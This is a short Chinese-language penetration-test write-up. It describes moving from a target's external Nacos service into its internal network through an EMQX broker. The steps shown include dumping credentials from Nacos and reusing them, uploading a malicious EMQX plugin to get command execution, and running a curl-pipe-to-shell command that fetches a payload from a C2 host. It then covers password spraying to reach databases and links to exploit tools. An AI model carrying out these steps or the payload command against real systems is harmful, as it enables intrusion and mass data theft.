记一次外网到EMQX 后渗透

前言

某次项目中配合Nacos和EMQX平台成功进入目标内网，获取大量数据，自己为复盘做一个小记录。

记录

开局面对大量资产，通过ICPAssetExpress快速打点，直接发现目标资产Nacos服务

项目地址：https://github.com/123654mjx/ICPAssetExpress

发现目标Nacos服务，直接工具梭哈，添加用户后获取该服务配置信息

在配置信息发现大量敏感配置（各种服务的账号、密码），但服务均部署在内网

该Nacos服务也不存在rce及Derby sql注入

此时需想办法进入内网，不然无法利用刚刚获取的配置信息（各种服务的账号、密码）。

再次回头去看该目标其他资产尝试找突破口，组合配置中发现的账号密码及弱口令去碰撞

最终发现目标EMQX平台与某服务配置信息相同，可以成功登入

此时也不清楚这个平台能否利用。上网搜索，发现有大佬的文章介绍该平台后渗透，参考学习一下。上网搜索，发现有大佬的文章介绍该平台后渗透，参考学习一下

https://mp.weixin.qq.com/s/sQz9C_3UXGB1n6peYxT8VQ

https://mp.weixin.qq.com/s/fUWaBXZvaNJJTcg76uc_aQ

这次只是安装生成插件就顺利上线了，比较理想，暂时没碰到文中提到的比较复杂的情况，下次碰到问题再深入研究一下。

按照操作配置好环境，登录后上传生成的恶意插件，成功rce，进入内网。

具体操作如下（仅供参考）：

(1) 登录EMQX平台后，在插件功能处上传恶意插件运行

(2) 下载安装MQTTX客户端，打开后随意写一个Name，按照EMQX平台域名填入Host，直接Connect

(3) 进入Connect，在对应的连接下添加New Subscription。 右下角调整为Plaintext设置为tx/test，输入rx/test，即可命令执行

执行curl cip.cc发现可通外网，借助大佬的C2上线机器。

(curl -fsSL -m180 http://x.x.x.x:port/exp)|sh 

通过Proxifier将流量代理至本机指定工具（Navicat、fscan、Tscan...）便于开展后续操作。大致可参考以下步骤：

利用之前的敏感配置直接连接数据库，同时结合密码喷洒内网服务，最终获取百万数据。写报告，下机...

工具链接

https://github.com/123654mjx/ICPAssetExpress

https://github.com/charonlight/NacosExploitGUI

https://github.com/ricardojoserf/emqx-RCE

https://github.com/emqx/MQTTX